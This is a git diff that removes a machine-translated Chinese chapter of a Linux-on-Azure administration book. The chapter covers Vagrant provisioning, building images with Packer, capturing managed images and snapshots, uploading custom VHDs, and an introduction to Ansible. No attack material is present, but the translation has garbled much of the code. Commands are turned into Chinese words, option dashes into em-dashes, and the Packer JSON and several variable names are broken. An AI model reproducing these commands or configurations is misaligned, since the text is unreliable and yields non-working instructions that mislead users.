-通常,许多选项,例如**vm_image_urn**将被嵌入到一个 box 文件中,您只需在**Vagrantfile**中提供最小的选项。 因为我们使用的是一个虚拟框,所以没有预先配置的默认值。 **az.vm_image_urn**是 Azure 提供的实际映像,语法如下: - -【t】::: - -除了使用标准映像,还可以使用自定义的**虚拟硬盘**(**VHD**)文件,使用以下指令: - -* **vm_vhd_uri** -* **vm_operating_system** -* **vm_vhd_storage_account_id** - -在本章的后面,我们将更详细地讨论这些自定义 VHD 文件。 - -另一个重要的值是 VM 的名称; 它也被用作 DNS 前缀。 这一定是独一无二的! 否则,您将得到这个错误:**DNS 记录<名称>。 .cloudapp.azure.com 已经被其他公网 IP**使用。 - -部署 Vagrant box、虚拟机: - -流浪汉了 - -下面是输出的样子: - -![Deploying the vagrant box using the up command](img/B15455_07_11.jpg) - -###### 图 7.11:部署流浪框 - -当机器准备使用时,您可以使用以下命令登录: - -流浪的 ssh - -将工作目录的内容拷贝到虚拟机中的**/vagrant**。 这是让您的文件在 VM 中可用的一种非常好的方式。 - -用这个命令清理你的工作: - -流浪的破坏 - -#### 请注意 - -也可以创建多台机器的盒子。 - -### 流浪食品 - -提供一种简单的方式来部署 VM 并不是 Vagrant 最重要的特性。 使用 Vagrant 的主要原因是有一个完整的环境启动和运行; 部署完成后,需要对虚拟机进行配置。 有供应人员做下班后的工作。 供应程序的目的是进行配置更改、自动安装包等。 您可以使用 shell 提供程序(它有助于在来宾 VM 中上传和执行脚本)和文件提供程序(它可以运行命令并将文件复制到 VM 中)。 - -另一种可能性是将 Vagrant 供应程序用于编排工具,如 Ansible 和 Salt。 下一章将讨论这些工具。 在本章中,连同 Vagrant 网站([https://www.vagrantup.com/docs/provisioning/](https://www.vagrantup.com/docs/provisioning/))上的提供程序文档,我们将配置 shell 提供程序和文件提供程序。 让我们通过将以下代码块添加到**Vagrantfile**来开始配置供应程序。 - -将此添加到**Vagrantfile**的底部: - -#配置 Shell 供应器 - -Config.vm.provision "shell",路径:"provision.sh" - -# Vagrant.config 结束 - -我们在 shell 供应程序中引用了一个文件**provision.sh**。 因此,让我们用一些简单的命令创建一个简短的**provisions .sh**脚本: - -#!/bin/sh - -touch /tmp/done - -触摸/ var / lib /云-例如 locale-check 斯基普。 - -再次部署 VM,你可以看到 Vagrant 已经使用了我们创建的 SSH 密钥,并启动了供应: - -![Deploying the VM again to make Vagrant take the SSH key and start the provisioning](img/B15455_07_12.jpg) - -###### 图 7.12:Vagrant 已启动供应 - -执行以下代码来验证虚拟机中是否已经按照**provision.sh**文件中的指示创建了**/tmp/done**目录: - -vagrant ssh -c "ls -al /tmp/done" - -## 封隔器 - -对于开发人员来说,拥有一个标准化的环境是很重要的,特别是当有很多人在同一应用上工作时。 如果你不使用容器技术(参考*第 9 章*,*容器虚拟化在 Azure*和*第十章*,*使用 Azure Kubernetes 服务*,找到更多关于这个技术), Vagrant 是一个很好的工具,它可以帮助开发人员实现这一点,并管理 VM 的生命周期,以一种可重复的方式非常快速地运行。 它提供基于图像产品或自定义 VHD 的设置。 如果您想在云中开发应用,这是您所需要的一切。 - -但是,如果您想要更复杂的环境,比如构建自己的映像、多机器部署、跨云环境等等,这并不是完全不可能的,但只要尝试一下,您就会发现 Vagrant 并不适合这些场景。 - -这是另一个 HashiCorp 产品派上用场的地方:包装器。 在本节中,我们将使用与之前使用 Vagrant 非常相似的配置来使用 Packer。 - -### 安装配置封隔器 - -Packer 可用于 macOS, Windows,几个 Linux 发行版和 FreeBSD。 软件包可在[https://www.packer.io/downloads.html](https://www.packer.io/downloads.html)下载。 - -下载一个包,解压,然后就可以开始了。 在 Linux 中,最好创建一个**~/.bin**目录,然后解压到这里: - -mkdir ~ / bin - -cd / tmp - -wget wget https://releases.hashicorp.com/packer/1.2.5/\ - -packer_1.2.5_linux_amd64.zip - -unzip / tmp / packer *拉链 - -cp 封隔器~ / bin - -注销并重新登录。 几乎每个发行版都会将**~/bin**目录添加到**PATH**变量中,但是您必须注销并再次登录。 - -通过执行**$PATH**来检查**PATH**变量。 如果无法看到主目录下的**bin**文件夹添加到路径中,请执行以下操作: - -导出路径= ~ / bin: $路径 - -验证安装: - -封隔器版本 - -如果安装成功,命令将返回 Packer 的版本,正如你在这张截图中看到的: - -![Verifying packer installation through Packer version ](img/B15455_07_13.jpg) - -###### 图 7.13:通过封隔器版本验证封隔器安装 - -对于 Packer 的配置,我们需要与 Vagrant 相同的信息: - -* Azure 租户 ID(**az account show**) -* Azure 订阅 ID(**az account show**) -* 业务主体账号 ID(如果需要与 Vagrant 中的账号 ID 一致,请使用**az app list——display-name Vagrant**命令) -* 该帐户的密钥(如果需要,可以使用**az ad sp reset-credentials**命令生成一个新的密钥) -* 现有资源组在正确的位置; 在本例中,我们使用**LinuxOnAzure**作为资源组名,**西欧**作为位置(使用**az 组 create——location“西欧”——name“LinuxOnAzure”**命令创建) - -创建一个文件(例如**/packer/ubuntu)。 json**),包含以下内容: - -{ - -“建设者”:[{ - -“类型”:“azure-arm”, - -"client_id": "" - -"client_secret": "" - -"tenant_id": "", - -"subscription_id": "", - -:“managed_image_resource_group_name LinuxOnAzure”, - -:“managed_image_name myPackerImage”, - -“os_type”:“Linux”, - -“image_publisher”:“规范”, - -:“image_offer UbuntuServer”, - -      "image_sku": "18.04-LTS", - -“位置”:“西欧”, - -:“vm_size Standard_B1s” - -    }], - -“provisioners”:[j - -“类型”:“壳”, - -“内联”:( - -   "touch /tmp/done", - -“sudo 碰/var/lib/cloud/instance/locale-check.skip” - -   ] - -    }] - -  } - -验证的语法: - -封隔器验证 ubuntu.json - -然后,构建如下图像: - -封隔器构建 ubuntu.json - -![Building the image using the Packer build command](img/B15455_07_14.jpg) - -###### 图 7.14:使用 Packer 构建命令构建映像 - -Packer 需要花费几分钟来构建 VM、运行供应程序和清理部署。 - -一旦构建完成,Packer 会给你一个关于构建内容的总结,比如资源组、VM 部署的位置、映像的名称和位置: - -![Image summary provided by Packer, once build is complete](img/B15455_07_15.jpg) - -###### 图 7.15:图像摘要 - -构建将创建一个映像,但不是一个运行中的 VM。 从 Packer 创建的映像中,你可以使用下面的命令来部署一台机器: - -Az vm create \ - -——资源组 LinuxOnAzure \ - ---name mypackerVM \ - -——图像 myPackerImage \ - -——admin-username azureuser \ - -——generate-ssh-keys - -清理环境,删除 Packer 创建的镜像,执行如下命令: - -说明:az resource delete——resource-group LinuxOnAzure——resource-type images \ - -——微软的名称空间。 计算——名字 myPackerImage - -我在本章前面提供的 JSON 文件足以创建一个图像。 它与我们对 Vagrant 所做的工作非常相似,但是要使它成为一个可部署的映像,我们必须将 VM 一般化,这意味着允许它为多个部署进行映像。 在代码中添加**/usr/sbin/waagent -force -deprovision+user&export HISTSIZE=0&&sync**可以实现虚拟机的通化。 不要担心这段代码——在下一节中,当我们通过 Azure CLI 泛化 VM 时,您将再次看到它。 - -找到以下代码: - -“provisioners”:[j - -“类型”:“壳”, - -“内联”:( - -      "touch /tmp/done", - -“sudo 碰/var/lib/cloud/instance/locale-check.skip” - -    ] - -这需要替换为以下代码: - -“provisioners”:[j - -“类型”:“壳”, - -:“execute_command 回声 ssh_pass{{用户 '}}' | {{ . var}} sudo - s - e sh {{.Path}}”, - -“内联”:( - -     "touch /tmp/done", - -     "touch /var/lib/cloud/instance/locale-check.skip", - -"/usr/sbin/waagent -force -deprovision+user && export HISTSIZE=0 && sync" - -    ] - -    }] - -  } - -**execute_command**是作为正确用户执行脚本的命令。 - -和前面一样,使用**封包器 Validate**命令验证模板,以避免任何错误并再次构建映像。 - -到目前为止,我们已经使用 Packer 创建了映像,但是这也可以使用 Azure CLI 和 Powershell 来完成。 下一节就是关于这个的。 - -## 自定义虚拟机和 vhd - -在上一节中,我们使用了 Azure 中的标准 VM 产品,并使用了两种不同的方法来完成一些配置工作。 但是,如前所述,有一些原因说明默认映像可能不是您的解决方案。 让我们再总结一下原因。 - -Azure 提供的本机映像是部署 vm 的良好起点。 使用原生映像的一些好处如下: - -* 由 Linux 发行版供应商或可信的合作伙伴创建和支持 -* 快速部署,无论是手动的还是精心编排的,当然,您还可以随后定制它们 -* 易于扩展的功能和 Azure 扩展选项 - -如果你选择的是本土产品,就会有一些缺点,换句话说,就是一些缺点: - -* 如果您想要比标准图像更坚固,那么您必须依赖来自 Marketplace 的坚固图像版本,这对某些人来说是昂贵的。 -* 例如,标准映像不符合公司标准,特别是在涉及分区时。 -* 标准图像不是为特定应用优化的。 -* 一些 Linux 发行版不受支持,比如 Alpine 和 ArchLinux。 -* 关于可复制环境的问题:某个映像版本可用多长时间? - -因此,我们需要定制图像,我们可以定制图像,减轻问题或缺点。 我们不建议本机提供不安全或不能完成这项任务,但是在企业环境中,有场景如 bring-your-own-subscription RHEL 和 SLES vm 和第三方**独立软件供应商**(**ISV)软件打包为图片,你都要在自定义图像。 让我们继续,看看如何在 Azure 中使用自定义映像。** - -### 创建托管映像 - -在上一节中,我们研究了 Packer。 创建了一个 VM,然后将其转换为映像。 此映像可用于部署新 VM。 这种技术也称为**捕获 VM 映像**。 - -让我们来看看我们是否可以用 Azure CLI 的手动方式一步一步地完成它: - -1. Create a resource group: - - myRG =捕获 - - myLocation = westus - - az group create——name $ myg——location $myLocation - -2. Create a VM: - - myVM=ubuntudevel - - AZImage=UbuntuLTS - - 管理员= linvirt - - az vm create——resource-group $ myg——name $myVM \ - - ——图像 AZImage \美元 - - ——admin-username linvirt——generate-ssh-keys - -3. Log in to the VM and deprovision it using the Azure VM Agent. It generalizes the VM by removing user-specific data: - - sudo waagent -deprovision+user - - 一旦您执行该命令,输出将显示关于将要删除的数据的警告。 您可以输入**y**,如下所示: - - ![ Deprovisioning the VM using VM Agent](img/B15455_07_16.jpg) - - ###### 图 7.16:解除虚拟机 - - 输入**exit**退出 SSH 会话。 - -4. Deallocate the VM: - - az vm deallocate——resource-group $ myg——name $myVM - -5. Mark it as being generalized. This means allowing it to be imaged for multiple deployments: - - az vm generalize——resource-group $ myg——name $myVM - -6. Create an image from the VM in this resource group: - - destIMG=customUbuntu - - az image create——resource-group $ myg——name $destIMG——source $myVM - -7. Verify the result: - - Az image list -o table - - 输出将以表格格式显示图像列表: - - ![List of Azure images in tablular format](img/B15455_07_17.jpg) - - ###### 图 7.17:Azure 映像列表 - -8. You can deploy a new VM with this image: - - az vm create——resource-group\ - - ——名称\ - - ——图像 destIMG \美元 - - ——admin-username\ - - ——generate-ssh-key - - 如果你在 PowerShell 中,这也是可能的。 让我们快速地看一下第一步。 过程非常相似; 唯一的区别是我们使用的是 PowerShell 的 cmdlets: - - $myRG="myNewRG" - - $myLocation="westus" - - $myVM="ubuntu-custom" - - $AZImage="UbuntuLTS" - - #创建资源组 - - New-AzResourceGroup -Name $ myg -Location $myLocation - - #创建虚拟机 - - New-AzVm ' - - -ResourceGroupName myRG 美元” - - - name myVM 美元” - - -ImageName $AZimage ' - - 位置 myLocation 美元” - - -VirtualNetworkName "$myVM-Vnet" ' - - -“$myVM-Subnet” - - -SecurityGroupName "$myVM-NSG" - - -PublicIpAddressName "$myVM-pip" - -PowerShell 可能会提示您输入凭据。 继续输入凭据以访问 VM。 之后,我们将继续释放 VM: - -Stop-AzureRmVM -ResourceGroupName' - --Name - -正如我们之前所做的,现在我们必须将 VM 标记为一般化: - -Set-AzVm -ResourceGroupName-Name' - -广义 - -让我们捕获 VM 信息并将其保存到一个变量中,因为我们将需要它来创建映像的配置: - -$vm = Get-AzVM -Name-ResourceGroupName - -现在让我们创建图像的配置: - -$image = New-AzImageConfig -Location-SourceVirtualMachineId $vm。 Id - -因为我们已经将配置存储在**$image**中,使用它来创建映像: - -New-AzImage -Image $image - ename' - --ResourceGroupName - -验证映像是否已经创建: - -Get-AzImage –ImageName - -运行前面的命令会给你一个类似于下面的输出,其中包含了你所创建的映像的详细信息: - -![Summary of the image details obtained using Get-AzImage –ImageName command](img/B15455_07_18.jpg) - -###### 图 7.18:获取图像细节 - -如果你想用我们刚刚创建的映像创建一个虚拟机,执行以下命令: - -New-AzVm ' - --ResourceGroupName "" ' - --Name "" ' - --ImageName【工人”】“' - --Location "" - --VirtualNetworkName "" - --SubnetName“ - --SecurityGroupName "" ' - -- pubicipaddressname "" - -为了总结我们所做的工作,我们创建了一个 VM,将其一般化,并创建了一个可以进一步用于部署多个 VM 的映像。 还有一种从一个参考映像创建多个 vm 的替代方法,即使用“快照”。 这将在下一节中讨论。 - -### 使用快照的替代方法 - -如果需要保留原虚拟机,可以使用快照创建虚拟机镜像。 Azure 中的快照实际上是一个完整的 VM! - -**使用 PowerShell** - -1. Declare a variable, **$vm**, which will store the information about the VM we are going to take and create a snapshot: - - $vm = Get-AzVm -ResourceGroupName' - -   -Name $vmName - - $snapshot = New-AzSnapshotConfig ' - - vm -SourceUri 美元 StorageProfile OsDisk ManagedDisk。。 Id ' - - -Location-CreateOption 副本 - - New-AzSnapshot ' - - -Snapshot $snapshot -SnapshotName' - - -ResourceGroupName - -2. As we need the snapshot ID for a later step, we will reinitialize the snapshot variable: - - $snapshot = Get-AzSnapshot -SnapshotName - -3. The next step involves creating the image configuration from the snapshot. - - $imageConfig = New-AzImageConfig -Location - - = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = - - -OsState Generalized -OsType Linux -SnapshotId $snapshot.Id - -4. Finally, create the image: - - New-AzImage -ImageName【工人】' - - -ResourceGroupName-Image $imageConfig - -**使用 Azure CLI** - -在 Azure CLI 中,事情变得更简单; 只需获取快照的 ID 并将其转换为磁盘: - -1. Using the Azure CLI, create a snapshot: - - 磁盘=$(az vm show——resource-group\ - - ——name——query "storageProfile.osDisk.name" -o tsv) - - az snapshot create——resource-group\ - - ——name——source $disk - -2. Create the image: - - snapshotId=$(可用分区快照 show——name\ - - ——resource-group——query "id" -o tsv) - - az image create——resource-group——name myImage \ - - ——source $snapshotID——os 类型的 Linux - -在对 VM 进行快照之前,不要忘记对其进行泛化。 如果您不想这样做,可以从快照创建一个磁盘,并在 Azure CLI 中使用**——attach-os-disk**命令或在 PowerShell 中使用**Set-AzVMOSDisk**命令将其作为磁盘参数。 - -### 定制 vhd - -您可以完全从零开始构建自己的映像。 在这种情况下,您必须构建自己的 VHD 文件。 有多种方法可以做到这一点: - -* 使用 Hyper-V 或 VirtualBox 创建虚拟机,VirtualBox 是 Windows、Linux 和 macOS 的免费 hypervisor。 两种产品都支持 VHD。 -* Create your VM in VMware Workstation or KVM and use it in Linux **qemu-img** to convert the image. For Windows, the Microsoft Virtual Machine Converter is available at [https://www.microsoft.com/en-us/download/details.aspx?id=42497](https://www.microsoft.com/en-us/download/details.aspx?id=42497). This includes a PowerShell cmdlet, **ConvertTo-MvmcVirtualHardDisk**, to make the conversion. - - #### 请注意 - - Azure 只支持 Type-1 VHD 文件,并且应该将其虚拟大小调整为 1mb。在撰写本书时,Type-2 可以在预览版([https://docs.microsoft.com/en-us/azure/virtual-machines/windows/generation-2](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/generation-2))中获得。 - -Azure 运行在 Hyper-V 上。 Linux 需要在 Azure 中运行某些内核模块。 如果虚拟机是在 Hyper-V 之外创建的,Linux 安装程序可能不会在初始 ramdisk(**initrd**或**initramfs**)中包含 Hyper-V 的驱动程序,除非 VM 检测到它正在运行在 Hyper-V 环境中。 - -当使用一个不同的虚拟化系统(如 VirtualBox 或 KVM)准备您的 Linux 映像,您可能需要重建**initrd****这至少 hv_vmbus**和**hv_storvsc 内核模块初始 ramdisk 上都是可用的。 这个已知的问题是基于上游 Red Hat 发行版的系统,也可能是其他系统。** - - **重建**initrd**或**initramfs**映像的机制可能因分布而异。 请参阅您的发行版文档或支持适当的程序。 下面是使用**mkinitrd**实用程序重建**initrd**的示例: - -1. Back up the existing **initrd** image: - - cd /启动 - - initrd-'uname -r'。 img initrd - .img.bak uname - r - -2. Rebuild the **initrd** with the **hv_vmbus** and **hv_storvsc kernel** modules: - - sudo mkinitrd --preload=hv_storvsc --preload=hv_vmbus -v -f initrd-'uname -r'.img 'uname -r' - - 几乎不可能描述每个 Linux 发行版和每个管理程序的每个可用选项。 一般来说,这里列出了你需要做的事情。 我们必须准确地遵循这些步骤,否则这项任务就无法完成。 我们强烈建议遵循微软文档([https://docs.microsoft.com/en-us/azure/virtual-machines/linux/create-upload-generic](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/create-upload-generic))。 - -3. Modify the kernel boot line in GRUB or GRUB2 to include the following parameters so that all console messages are sent to the first serial port. These messages can help Azure Support to debug any issues: - - console=ttyS0,115200n8 earlyprintk=ttyS0,115200 rootdelay=300 - -4. Microsoft also recommends removing the following parameters, if they exist: - - rhgb 安静 crashkernel =汽车 - -5. 安装 Azure Linux Agent,因为在 Azure 上提供 Linux 映像需要代理。 您可以使用**安装 rpm**或**deb 文件,或者您可以手动安装使用的步骤可以在 Linux 代理指南(https://docs.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux)。** -6. 确保 OpenSSH 服务器已经安装,并在引导过程中自动启动。 -7. 不要创建交换。 如果需要,您可以稍后启用它,正如我们在前一章中讨论的那样。 -8. 删除虚拟机,请参见*创建托管镜像*章节。 -9. 关闭虚拟机,VHD 已准备好上传至虚拟机。 - -为了简单起见,我们将跳过前面的步骤,从 Ubuntu 的云映像库下载官方映像,因为最重要的部分是将映像上传到 Azure。 从[https://cloud-images.ubuntu.com/bionic/](https://cloud-images.ubuntu.com/bionic/)下载云映像。 这个网页包含 Bionic 的所有版本,您可以浏览这些目录并下载 Azure 的 tar.gz 文件。 文件名将类似于**仿生-server-cloudimg-amd64-azure.vhd.tar.gz**; 然而,这个名称可能会因您所查看的版本的不同而有所不同。 - -现在我们必须把 VHD 上传到 Azure: - -1. To start with, it's a good idea to have a separate storage account for images, so let's create a new storage account. Here, we are going with **Premium_LRS**, but if you wish, you can go for **Standard_LRS** as well to save some costs: - - az 存储帐户 create——location\ - - ——resource-group——sku Premium_LRS \ - - ——name——access-tier Cool——kind 存储 ev2 - -2. Save the output for later use. List the access keys: - - az 存储帐户密钥列表——account-name\ - - ——资源集团 - -3. Save the output again. The next thing we need is a container to store the files: - - Az 存储容器 create \ - - ——account-name\ - - ——account-key - - ——名称 - -4. Now you can upload the VHD: - - az storage blob upload -account-name\ - - ——account-key\ - - ——容器名称\ - - ——type page——file ./bionic-server-cloudimg-amd64。 vhd \ - - ——名字 bionic.vhd - - #### 请注意 - - 您也可以使用 Azure 门户或 PowerShell 上传文件。 其他方法是 Azure Storage Explorer([https://azure.microsoft.com/en-us/features/storage-explorer/](https://azure.microsoft.com/en-us/features/storage-explorer/))或 Azure VHD utils([https://github.com/Microsoft/azure-vhd-utils](https://github.com/Microsoft/azure-vhd-utils))。 最后一个惊人的快! - -5. Receive the blob URL: - - az 存储 blob url——account-name\ - - ——account-key\ - - ——容器名称\ - - ——名字 bionic.vhd - -6. It's now possible to create a disk from the upload: - - az disk create——resource-group\ - - -name bionic -source-Location - -7. Create a VM image with this disk: - - az image create——resource-group\ - - —name bionic—source—os-type linux - - ——位置 - -8. Finally, create a VM based on this image: - - az vm create——resource-group\ - - ——名称\ - - ——图像仿生\ - - ——admin-username\ - - ——generate-ssh-key \ - - ——位置 - - #### 请注意 - - 你可以公开你的 VHD 图像; 一个很好的例子是一个鲜为人知的 Linux 发行版,名为 NixOS。 在他们的网站[https://nixos.org/nixos/download.html](https://nixos.org/nixos/download.html)上,他们描述了一种在 Azure 上部署他们的操作系统的方法! - -让我们总结一下我们所做的。 这里我们采用了两种方法。 我们从一个现有的虚拟机创建并上传了一个 Linux VHD,然后手动下载一个 Ubuntu VHD 并使用它。 无论哪种方式,我们都将它上传到一个存储帐户,并将使用它创建一个图像。 此映像是可重用的,您可以根据需要部署任意数量的 vm。 - -自动化的过程和可用的工具是巨大的。 在下一章中,我们将继续讨论自动化过程,并将讨论最广泛使用的工具,即 Ansible 和 Terraform。 - -## 总结 - -在本章中,我们开始问为什么以及什么时候应该在 Azure 中使用自动化。 稍后,我们添加了关于使用 Azure 提供的图像的问题。 - -考虑到这些问题,我们探索了自动化部署的选项: - -* 脚本 -* 手臂模板 -* 流浪的 -* 封隔器 -* 建立和使用您自己的图像 - -Vagrant 和 Packer 是第三方解决方案的例子,它们是非常流行的工具,可以轻松地创建和重新创建环境,将其作为开发过程的重要组成部分。 - -重要的是要知道本章中描述的所有技术都可以组合成一个完整的解决方案。 例如,您可以将 cloud-init 与 ARM 一起使用,也可以与 Vagrant 一起使用。 - -自动化和编制是密切相关的。 在本章中,我们介绍了自动化,特别是作为开发环境的一部分,自动化 vm 的部署。 自动化通常是在开发和部署之后维护工作负载的一个困难的解决方案。 这就是管弦乐发挥作用的地方,下一章会讲到。 - -## 问题 - -1. 在 Azure 中使用自动部署的主要原因是什么? -2. 开发环境中自动化的目的是什么? -3. 你能描述一下脚本和自动化之间的区别吗? -4. 你能说出一些 Azure 中可用的自动部署选项吗? -5. Vagrant 和 Packer 之间的区别是什么? -6. 为什么要使用自己的映像,而不是 Azure 提供的映像呢? -7. 有哪些选项可以创建自己的映像? - -也许您可以找到一些时间来完成*Scripting*部分中的示例脚本,使用您选择的语言。 - -## 进一步阅读 - -特别是关于 Azure CLI、PowerShell 和 ARM, Azure 文档包含大量有价值的信息,还有许多示例。 我们在*第二章:开始使用 Azure 云*的*进一步阅读*部分中所写的内容对本章也是很重要的。 - -微软提供的另一种资源是它的博客。 如果你访问[https://blogs.msdn.microsoft.com/wriju/category/azure/](https://blogs.msdn.microsoft.com/wriju/category/azure/),你会发现很多关于自动化的有趣的帖子,包括更详细的例子。 - -在他的博客[https://michaelcollier.wordpress.com](https://michaelcollier.wordpress.com)中,Michael S. Collier 提供了很多关于 Azure 的信息。 几乎每一篇文章都包含脚本和自动化的可能性。 - -最近关于流浪汉的书并不多。 我们相信您会非常喜欢一年前出版的由 Stephane Jourdan 和 Pierre Pomes 撰写的《基础设施即代码》(T0)烹饪书。 这本书不仅涉及流浪汉; 它还涵盖了其他解决方案,如 cloud-init 和 Terraform。 作者们创造了一本书,这不仅是一个伟大的介绍,而且设法使它作为一个参考指南。 - -我们能推荐一本最近出版的书吗? *使用 Vagrant 实践 DevOps:使用 Vagrant 实现端到端 DevOps 和基础设施管理*,Alex Braunton 他在 YouTube 上关于这个话题的帖子也值得一看。** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/08.md b/docs/handson-linux-admin-azure/08.md deleted file mode 100644 index be966392..00000000 --- a/docs/handson-linux-admin-azure/08.md +++ /dev/null @@ -1,1109 +0,0 @@ -# 八、探索持续配置自动化 - -到目前为止,我们一直使用单个 vm,手动部署和配置它们。 这对于实验室和非常小的环境很好,但如果你必须管理更大的环境,这是一个非常耗时甚至无聊的工作。 它也很容易犯错误和忘记一些事情,比如 vm 之间的细微差别,更不用说随之而来的稳定性和安全风险了。 例如,在部署期间选择错误的版本将导致一致性问题,并且在以后执行升级是一个冗长的过程。 - -自动化部署和配置管理是减轻这一枯燥任务的理想方法。 然而,一段时间后,您可能会注意到这种方法的一些问题。 出现问题的原因有很多,这里列出了一些失败的原因: - -* 脚本失败是因为某些东西发生了改变,例如软件更新。 -* 有一个较新的基本映像版本,它略有不同。 -* 脚本可能很难阅读和维护。 -* 脚本依赖于其他组件; 例如,操作系统、脚本语言、可用的内部和外部命令。 -* 而且,总是有一个同事—脚本可以为您工作,但是,由于某些原因,当他们执行它时,它总是失败。 - -当然,随着时间的推移,情况有所改善: - -* 现在许多脚本语言都是多平台的,比如 Bash、Python 和 PowerShell。 它们可以在 Windows、macOS 和 Linux 上使用。 -* 在**systemd**中,带有**-H**参数的**systemctl**实用程序可以远程执行命令,即使远程主机是另一个 Linux 发行版也可以工作。 更新的**systemd**版本有更多的功能。 -* **防火墙**和**systemd**使用易于部署的配置文件和覆盖。 - -自动化很可能不是您部署、安装、配置和管理工作负载的答案。 幸运的是,还有另一种方法:编配。 - -在音乐术语中,管弦乐是研究如何为管弦乐队作曲。 你必须了解每种乐器,知道它们能发出什么样的声音。 然后,你可以开始写音乐; 要做到这一点,你必须理解这些乐器是如何一起发声的。 大多数时候,你从一种单一的乐器开始,比如钢琴。 在那之后,你扩展到包括其他乐器。 希望其结果将是一件杰作,乐团成员将能够开始演奏它。 成员们如何开始并不重要,但最后,指挥要确保结果算数。 - -在计算中与编配有许多相似之处。 在开始之前,您必须了解所有组件是如何工作的,它们是如何组合在一起的,以及组件的功能,以便完成工作。 之后,您可以开始编写代码以实现最终目标:一个可管理的环境。 - -云环境的最大优势之一是,环境的每个组件实际上都是用软件编写的。 是的,我们知道,在生产线的最后,仍然有一个包含许多硬件组件的数据中心,但作为一个云用户,你不关心这些。 你所需要的一切都是用软件编写的,并且有 api 可以使用。 因此,不仅可以自动化您的 Linux 工作负载的部署,还可以自动化和编排 Linux 操作系统的配置以及应用的安装和配置,并保持所有内容都是最新的。 您还可以使用编排工具来配置 Azure 资源,甚至可以使用这些工具创建 Linux 虚拟机。 - -在编排中,有两种不同的方法: - -* 命令式:告诉编排工具为了达到这个目标需要做什么 -* 声明式**:告诉编排工具您想要实现的目标是什么** - -有些编排工具可以同时做这两件事,但是,一般来说,在云环境中,声明式方法是更好的方法,在云环境中有很多选项需要配置,您可以声明每个选项并实现确切的目标。 好消息是,如果这个方法变得过于复杂,例如,当编排工具不能理解目标时,您总是可以使用脚本用一点命令式方法扩展这个方法。 - -本章的大部分内容是关于 Ansible 的,但是我们也将介绍 PowerShell**Desired State Configuration**(**DSC**)和 Terraform 作为声明式实现的例子。 本章的重点是理解编配,并了解足够的内容以便开始。 当然,我们还将讨论与 Azure 的集成。 - -本章的要点是: - -* 了解第三方自动化工具,如 Ansible 和 Terraform,以及如何在 Azure 中使用它们。 -* 使用 Azure 的本机自动化和 PowerShell DSC 来实现所需的机器状态。 -* 如何实现 Azure 策略客户配置和审计设置在您的 Linux 虚拟机。 -* 市场上可用于自动化部署和配置的其他解决方案的概述。 - -### 技术要求 - -在实践中,您至少需要一个 VM 作为控制机器,或者您可以使用您的工作站运行 Linux(**WSL**)或者**Windows 子系统。 除此之外,我们还需要一个节点,它需要是一个 Azure VM。 然而,为了提供更好的解释,我们部署了三个节点。 如果您在 Azure 订阅中有预算限制,那么可以继续使用一个节点。 您使用的是哪个 Linux 发行版并不重要。 本节中用于编排节点的示例是针对 Ubuntu 节点的,但是将它们转换到其他发行版很容易。** - -本章将探讨多种编排工具。 对于每个工具,您都需要一个干净的环境。 所以,当你完成了本章的 Ansible 部分,在进入 Terraform 之前,删除虚拟机并部署新的虚拟机。 - -## 了解配置管理 - -在本章的介绍中,您可能已经阅读了术语*配置管理*。 让我们更深入地理解这一点。 配置管理是指您希望如何配置 VM。 例如,你想要一个 Apache web 服务器在 Linux 虚拟机中托管一个网站; 所以,虚拟机的配置部分包括: - -* Apache 包和依赖项的安装 -* 如果您正在使用 SSL(安全套接字层)证书,请为 HTTP 流量或 HTTPS 流量打开防火墙端口 -* 启用服务并引导它,以便 Apache 服务在引导时启动 - -这个例子是一个非常简单的 web 服务器。 考虑一个复杂的场景,你有一个前端 web 服务器和后端数据库,因此涉及的配置非常高。 到目前为止,我们一直在讨论单个 VM; 如果需要使用相同配置的多个虚拟机,该怎么办? 我们又回到了原点,你必须多次重复配置,这是一项既耗时又无聊的任务。 下面是编配的角色,正如我们在介绍中讨论的那样。 我们可以使用编排工具以我们想要的状态部署 VM。 这些工具将负责配置。 此外,在 Azure 中,我们有 Azure 策略客户配置,它可以用来审计设置。 使用这个策略,我们可以定义 VM 应该处于的条件。 如果评估失败或条件不满足,Azure 将此机器标记为不符合要求。 - -本章的大部分内容是关于 Ansible 的,但我们也将介绍 PowerShell 的 DSC 和 Terraform 作为声明式实现的例子。 本章的重点是理解编配,并学习足够的内容以便开始。 当然,我们还将讨论与 Azure 的集成。 - -## 使用 Ansible - -Ansible 本质上是最小的,几乎没有依赖关系,而且它不向节点部署代理。 Ansible 只需要 OpenSSH 和 Python。 它还具有高度的可靠性:可以多次应用更改而不改变初始应用之外的结果,并且不会对系统的其他部分产生任何副作用(除非您编写了非常糟糕的代码)。 它非常注重代码的重用,这使得它更加可靠。 - -Ansible 没有非常陡峭的学习曲线。 您可以从几行代码开始,然后在不破坏任何内容的情况下扩大规模。 在我们看来,如果你想尝试一种编配工具,就从 Ansible 开始,如果你想尝试另一种,学习曲线就不会那么陡峭了。 - -### Ansible 的安装 - -在 Azure Marketplace 中,Ansible 可以使用现成的 VM。 目前在 Azure 市场上有三个版本的 Ansible: Ansible Instance, Ansible Tower 和 AWX, AWX 是 Ansible Tower 的社区版。 在本书中,我们将集中讨论免费提供的社区项目; 学习并开始使用 Ansible 就足够了。 之后,可以到 Ansible 网站去探索差异,下载 Ansible 企业版的试用版,然后决定是否需要企业版。 - -安装 Ansible 的方法有多种: - -* 使用发行版的存储库 -* 使用最新版本[https://releases.ansible.com/ansible](https://releases.ansible.com/ansible ) -* 使用 GitHub:[https://github.com/ansible](https://github.com/ansible ) -* Using the Python installer, the preferred method, which works on every OS: - - pip 安装 ansible (azure) - -Python 的**pip**无法安装在 Red Hat 和 CentOS 的标准存储库中。 你必须使用额外的 EPEL 存储库: - -Sudo yum 安装 epel-release - -安装 python-pip - -安装 Ansible 后,检查版本: - -ansible——版本 - -如果你不想安装的话,你不必安装 Ansible: Ansible 已经预装在 Azure Cloud Shell 中。 在撰写本书时,Cloud Shell 支持 Ansible 2.9.0 版本。 但是,为了进行安装演练,我们将在 VM 上进行 Ansible 的本地安装。 为了与 Azure 集成,你还需要安装 Azure CLI 来获取你需要提供给 Ansible 的信息。 - -### SSH 配置 - -您安装 Ansible 的机器现在称为 Ansible -master,或者换句话说,它只是一个包含 Ansible、Ansible 配置文件和编配指令的 VM。 